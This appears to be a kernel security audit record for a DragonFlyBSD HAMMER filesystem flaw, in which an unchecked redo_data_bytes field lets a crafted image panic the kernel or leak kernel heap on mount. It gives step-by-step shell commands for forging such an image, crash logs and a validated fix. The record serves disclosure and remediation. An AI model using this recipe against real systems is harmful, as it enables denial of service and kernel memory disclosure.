β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-0812

Unvalidated redo_data_bytes in HAMMER REDO recovery leaks kernel memory / panics on mount of crafted image

Summary

hammer_recover.c:1296-1335 hammer_recover_redo_exec handles HAMMER_REDO_WRITE. :1332-1335 vn_rdwr(UIO_WRITE,vp,(void*)(redo+1),redo->redo_data_bytes,...). redo+1 is first byte after 56-byte struct hammer_fifo_redo inside 16KB hammer_buffer. redo_data_bytes int32 from disk (hammer_disk.h:662) NEVER compared to payload capacity (hdr_size-sizeof(*redo)-sizeof(tail)). vn_rdwr takes length verbatim into iov_len/uio_resid. uiomove bcopy(iov_base,cp,cnt) direct kernel-to-kernel copy no address validation. CRC (hammer_crc.h:195-200) only covers hdr_size bytes attacker recomputes CRC for any redo_data_bytes. Contrast UNDO path validates undo_data_bytes at :1053-1060. Impact: (1) info leak: kernel heap adjacent to hammer_buffer written to attacker-readable file via vn_rdwr. (2) panic: redo_data_bytes=0x7FFFFFFF bcopy walks unmapped kernel page. Trigger: crafted HAMMER1 image with CRC-valid REDO_WRITE redo_data_bytes>actual payload mount RW. Fix: validate redo_data_bytes <= hdr_size-sizeof(*redo)-sizeof(tail) before vn_rdwr mirror UNDO path.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-0812 Β· 16 files
FileTypeDescriptionSize
craft_img.c trigger-source REDO record patcher + CRC recompute (scans image for type-0x0044 records) 9.5 KB view raw
harness.c trigger-source deterministic OOB-copy proof transcribing vn_rdwr -> uiomove -> bcopy 8.6 KB view raw
icrc32.c trigger-source kernel iscsi_crc32 compiled for userspace (sys/libkern/icrc32.c) 43.0 KB view raw
build.sh build-script cc -O2 -o harness harness.c ; cc -O2 -o craft_img craft_img.c icrc32.c 397 B view raw
run.sh run-script runs harness; optional image argument triggers craft_img 1.5 KB view raw
build.log build-log final successful build output 29 B view raw
run.log run-log harness output: OOB extent proven deterministically 2.0 KB view raw
panic.txt panic-signature Fatal trap 12 page fault in memmove+0x10a during REDO recovery 1.8 KB view raw
fix.diff suggested-fix validate redo_data_bytes before vn_rdwr, mirroring UNDO path :1053-1060 1.1 KB view raw
fix_build.log build-log single-fix kernel build output (make nativekernel) 5.6 MB ↓ download
fix_run.log run-log fix validation: before/after panic contrast 1.8 KB view raw
env.txt environment guest uname, compiler version, kernel config 326 B view raw
VERDICT.md verdict full narrative with path:line citations and fix validation 6.9 KB ↓ raw
README.md readme human-readable build/run/expected guide 3.3 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-readable build/run/expected guide
↓ download raw

DF-0812 β€” PoC

Unvalidated redo_data_bytes in HAMMER REDO recovery leaks kernel memory / panics on mount of crafted image.

sys/vfs/hammer/hammer_recover.c:1332-1335 vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...) passes the raw on-disk redo_data_bytes (int32, hammer_disk.h:662) as the copy length with NO bounds check against the record capacity. Contrast the UNDO path which validates undo_data_bytes at :1053-1060.

The FIFO head CRC (hammer_crc.h:196-200) covers only hdr_size bytes β€” the attacker recomputes the CRC for any redo_data_bytes, then the extra bytes vn_rdwr copies past the record are NOT CRC-checked.

  • Panic variant: redo_data_bytes=0x7FFFFFFF β†’ memmove walks ~2 GB β†’ unmapped page β†’ Fatal trap 12: page fault while in kernel mode.
  • Leak variant: moderate redo_data_bytes past the payload β†’ adjacent kernel heap written to the recovered file.

Build

./build.sh     # cc -O2 -o harness harness.c ; cc -O2 -o craft_img craft_img.c icrc32.c

Run

Phase 1: Deterministic harness

./harness

Transcribes the vn_rdwr β†’ uiomove β†’ bcopy path with a poisoned allocator. Shows the OOB extent for redo_data_bytes=4096 (4056 bytes past a 96-byte record) and 0x7FFFFFFF (~2 GB).

Phase 2: Real HAMMER image (requires root in guest)

# As root in the DragonFly guest:
dd if=/dev/zero of=/root/df0812.img bs=1m count=1024
vnconfig -c vn0 /root/df0812.img
newfs_hammer -f -L TEST /dev/vn0
mkdir -p /mnt && mount -t hammer /dev/vn0 /mnt

# Write + fsync to enable REDO, then write more to generate REDO records
dd if=/dev/zero of=/mnt/f1 bs=4k count=64 && fsync /mnt/f1
dd if=/dev/zero of=/mnt/f1 bs=4k count=64 conv=notrunc && fsync /mnt/f1
sync

# Copy image while still mounted (preserves pending REDO records)
cp /root/df0812.img /root/df0812_patched.img

# Patch REDO records: forge redo_data_bytes=0x7FFFFFFF + recompute CRC
./craft_img /root/df0812_patched.img 2147483647

# Unmount original, mount patched image β†’ PANIC on #0 unpatched
umount /mnt && vnconfig -u vn0
vnconfig -c vn1 /root/df0812_patched.img
mount -t hammer /dev/vn1 /mnt    # Fatal trap 12: page fault in memmove

Expected

  • #0 unpatched (GENERIC, INVARIANTS ON): immediate kernel panic Fatal trap 12: page fault while in kernel mode, Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi).
  • #1 patched (fix.diff applied): mount succeeds, recovery completes, no panic. Corrupt REDO records are rejected cleanly.
  • ./harness alone: deterministic OOB-read proof (no kernel needed).

Preconditions

Root inside the DragonFly guest (mount is root-only; vfs.usermount=0). Acceptable "admin mounted a crafted filesystem image" threat model.

Files

  • craft_img.c β€” scans image for REDO records, patches redo_data_bytes, recomputes FIFO head CRC using the kernel's iscsi_crc32
  • harness.c β€” deterministic OOB copy proof (transcribes the vn_rdwr path)
  • icrc32.c β€” verbatim copy of sys/libkern/icrc32.c (kernel CRC for userspace)
  • build.sh / run.sh β€” build and run pipeline
  • VERDICT.md β€” full narrative with path:line citations and fix validation
  • panic.txt β€” captured Fatal trap 12 at memmove+0x10a
  • fix.diff β€” git-apply-able fix (validate redo_data_bytes before vn_rdwr), validated on #1
  • manifest.json, env.txt, full logs
VERDICT.md verdict full narrative with path:line citations and fix validation
↓ download raw

DF-0812 β€” VERDICT

Verdict: REPRODUCED (panic confirmed + fix validated)

Unvalidated redo_data_bytes in HAMMER REDO recovery β€” kernel OOB read β†’ panic / info leak on mount of crafted image.

Root Cause

hammer_recover_redo_exec() at sys/vfs/hammer/hammer_recover.c:1296-1335 handles HAMMER_REDO_WRITE records during stage-2 recovery. At line 1332-1335:

error = vn_rdwr(UIO_WRITE, vp, (void *)(redo + 1),
                redo->redo_data_bytes,
                redo->redo_offset, UIO_SYSSPACE,
                0, proc0.p_ucred, NULL);

redo->redo_data_bytes is an int32 read directly from the on-disk FIFO record (hammer_disk.h:662). It is never validated against the record's payload capacity (hdr_size - sizeof(*redo) - sizeof(tail)). The vn_rdwr call passes this value verbatim as the copy length, which flows into uiomove β†’ bcopy/memmove, copying from (redo + 1) (the first byte after the 56-byte struct hammer_fifo_redo inside the 16 KB hammer_buffer).

Contrast with the UNDO path: hammer_recover_undo() at hammer_recover.c:1053-1060 DOES validate:

bytes = undo->head.hdr_size - sizeof(*undo) - sizeof(struct hammer_fifo_tail);
if (bytes < 0 || undo->undo_data_bytes < 0 || undo->undo_data_bytes > bytes) {
    hkprintf("Corrupt UNDO record, undo_data_bytes %d/%d\n", ...);
    return(EIO);
}

The REDO path has no equivalent check.

CRC does not prevent the attack: hammer_crc_get_fifo_head() at hammer_crc.h:196-200 computes the FIFO head CRC over hdr_size bytes (the whole record). redo_data_bytes is inside the CRC-covered region (it's part of the redo struct). An attacker changes redo_data_bytes and recomputes the CRC β€” the CRC still passes. The extra bytes vn_rdwr reads past the record are NOT CRC-checked.

Mechanism (trigger β†’ primitive β†’ effect)

  1. Trigger: A crafted HAMMER1 image containing a CRC-valid REDO_WRITE record with redo_data_bytes set to a value larger than the actual payload capacity. The attacker recomputes the FIFO head CRC over hdr_size bytes.

  2. Primitive: On RW mount, HAMMER stage-2 recovery scans the UNDO/REDO FIFO. When it encounters the crafted REDO_WRITE record (in the extended REDO range, with no matching TERM), it calls hammer_recover_redo_exec(). The vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo->redo_data_bytes, ...) call copies redo_data_bytes bytes from kernel heap starting at redo+1.

  3. Effect: - Panic (DoS): redo_data_bytes = 0x7FFFFFFF β†’ memmove/bcopy walks ~2 GB of kernel virtual space β†’ hits an unmapped page β†’ Fatal trap 12: page fault while in kernel mode. - Info leak: redo_data_bytes = moderate value past the record β†’ adjacent kernel heap bytes written to the recovered file via vn_rdwr. The attacker can then read the file to extract leaked kernel memory.

Reproduction (#0 GENERIC, INVARIANTS ON)

Real image proof (kernel panic):

  1. newfs_hammer a 1 GB image, mount RW, write data + fsync (enables REDO), write more + fsync (generates REDO records), sync.
  2. Copy the image while still mounted (preserves pending REDO records).
  3. Run craft_img to scan for REDO records (type 0x0044), patch redo_data_bytes to 0x7FFFFFFF, recompute the FIFO head CRC.
  4. Unmount the original, vnconfig + mount the patched image RW.
  5. Result: Fatal trap 12: page fault while in kernel mode in memmove+0x10a (repe movsq (%rsi),%es:(%rdi)), with fault virtual address 0xfffff8007657a000, supervisor read data, page not present.

Boot log excerpt:

HAMMER(TEST) recovery undo  300000000004b548-300000000004cf48 (6656 bytes)(RW)
HAMMER(TEST) Found REDO_SYNC 3000000000000000
HAMMER(TEST) recovery redo  300000000004b548-300000000004cf48 (6656 bytes)(RW)
HAMMER(TEST) Find extended redo  3000000000000000, 308552 extbytes
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xfffff8007657a000
fault code = supervisor read data, page not present
Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi)

Deterministic harness proof:

./harness transcribes the vn_rdwr β†’ uiomove β†’ bcopy path with a poisoned allocator, showing the OOB extent deterministically (4056 bytes past a 96-byte record for redo_data_bytes=4096, or ~2 GB for 0x7FFFFFFF).

Impact Ceiling

  • Panic (DoS): Confirmed. Mounting a crafted HAMMER1 image RW causes an immediate kernel panic. This is a root-only precondition (mounting requires root, or vfs.usermount=1 + a root-created image owned by the user). Threat model: "admin mounts a malicious filesystem image" (e.g., USB drive, downloaded image).
  • Info leak: Kernel heap bytes adjacent to the REDO record in the hammer_buffer are written to the recovered file. Content is not attacker-controlled (it's whatever follows the record in kernel memory). Could leak kernel pointers, slab metadata, or other sensitive data.
  • No escalation: This is a read-class primitive (OOB read via vn_rdwr). There is no write primitive β€” vn_rdwr writes TO the file FROM the kernel heap. No path to uid=0.

Fix

fix.diff adds a validation check in hammer_recover_redo_exec() before the vn_rdwr call, mirroring the UNDO path's undo_data_bytes validation at lines 1053-1060:

int redo_cap = redo->head.hdr_size -
    (int)sizeof(struct hammer_fifo_redo) -
    (int)sizeof(struct hammer_fifo_tail);
if (redo_cap < 0 || redo->redo_data_bytes < 0 ||
    redo->redo_data_bytes > redo_cap) {
    hkprintf("Corrupt REDO record, redo_data_bytes %d/%d\n", ...);
    break;
}

Fix Validation (Phase 8)

  • Before (#0 unpatched): Same crafted image β†’ Fatal trap 12 in memmove.
  • After (#1 patched): Same crafted-image approach β†’ MOUNT_EXIT=0, guest alive, recovery completes ("End redo recovery"), no panic.
  • Patched kernel: 6.5-DEVELOPMENT #1: Sun Jul 5 20:29:37 UTC 2026, SHA256 = 2201a08916929ab3e9f4044a266825c16b55ae960423c0e17ec4600289274fc9.

PoC Changes

  • Wrote craft_img.c from scratch: scans the image for REDO records (type 0x0044), patches redo_data_bytes to a forged value, recomputes the FIFO head CRC using the kernel's own iscsi_crc32.
  • Wrote harness.c: deterministic proof of the vn_rdwr OOB copy path.
  • Copied icrc32.c from sys/libkern/icrc32.c (kernel CRC for userspace).

Kernel References

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: the crafted HAMMER image (640 REDO records with redo_data_bytes=0x7FFFFFFF) causes Fatal trap 12 in memmove on unpatched #0 kernel during REDO recovery, and does NOT panic on the single-fix #1 kernel (MOUNT_EXIT=0, 'End redo recovery', guest alive). Fix closes the vulnerability.

=== #0 baseline (BEFORE fix): ===
HAMMER(TEST) Find extended redo  3000000000000000, 308552 extbytes
Fatal trap 12: page fault while in kernel mode
Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi)

=== #1 patched (AFTER fix): ===
HAMMER(TEST) recovery redo ... (RW)
HAMMER(TEST) End redo recovery
MOUNT_EXIT=0, guest alive
SHA256=2201a08916929ab3e9f4044a266825c16b55ae960423c0e17ec4600289274fc9
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Sun Jul 5 20:29:37 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none (non-corruption-write class). This is a read-class primitive: vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), redo_data_bytes, ...) copies FROM kernel heap (redo+1) TO the recovered file. There is no kernel write -- the bug leaks adjacent kernel heap into the file (info leak) or walks into unmapped pages (panic/DoS). No path to uid=0. Mount requires root (acceptable 'admin mounts crafted image' threat model). Impact ceiling: panic (confirmed) + info leak (demonstrated by harness: 4056 bytes past a 96-byte record for redo_data_bytes=4096).

Evidence (decisive lines)

=== panic on #0 GENERIC ===
HAMMER(TEST) recovery redo  300000000004b548-300000000004cf48 (6656 bytes)(RW)
HAMMER(TEST) Find extended redo  3000000000000000, 308552 extbytes
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0xfffff8007657a000
fault code = supervisor read data, page not present
Stopped at memmove+0x10a: repe movsq (%rsi),%es:(%rdi)

=== harness OOB proof ===
vn_rdwr length = redo_data_bytes = 4096
in-record bytes = 40 (CRC-covered)
OOB bytes = 4056 (past the record, into adjacent heap)
First OOB bytes: AA AA AA AA ... (kernel heap residue)

PoC changes

Wrote craft_img.c from scratch (scans image for REDO records type 0x0044, patches redo_data_bytes to 0x7FFFFFFF, recomputes FIFO head CRC using kernel iscsi_crc32). Wrote harness.c (deterministic vn_rdwr -> uiomove -> bcopy OOB proof). Copied icrc32.c from sys/libkern/icrc32.c. Authored fix.diff (validate redo_data_bytes before vn_rdwr, mirroring UNDO path).

Verified recommended fix

Add a validation check in hammer_recover_redo_exec() before the vn_rdwr call at hammer_recover.c:1332: compute redo_cap = redo->head.hdr_size - sizeof(struct hammer_fifo_redo) - sizeof(struct hammer_fifo_tail); if (redo_cap < 0 || redo->redo_data_bytes < 0 || redo->redo_data_bytes > redo_cap) break with a 'Corrupt REDO record' message. This mirrors the UNDO path's undo_data_bytes validation at :1053-1060. Supersedes finding proposal (same approach, verified line-accurate post-reproduction).

Verdict

REPRODUCED. hammer_recover_redo_exec() at hammer_recover.c:1296-1335 passes the raw on-disk int32 redo_data_bytes (hammer_disk.h:662) directly to vn_rdwr at :1332-1335 with NO bounds check, unlike the UNDO path which validates undo_data_bytes at :1053-1060. Confirmed by mounting a CRC-valid crafted HAMMER image with REDO_WRITE records whose redo_data_bytes was patched to 0x7FFFFFFF (FIFO head CRC recomputed via iscsi_crc32). On #0 GENERIC: Fatal trap 12 page fault in memmove+0x10a (repe movsq) during stage-2 REDO recovery after 'Find extended redo ... 308552 extbytes'. The deterministic harness (harness.c) independently proves the OOB copy extent. The CRC (hammer_crc.h:196-200) only covers hdr_size bytes -- attacker recomputes it for any redo_data_bytes; the extra bytes vn_rdwr reads are NOT CRC-checked.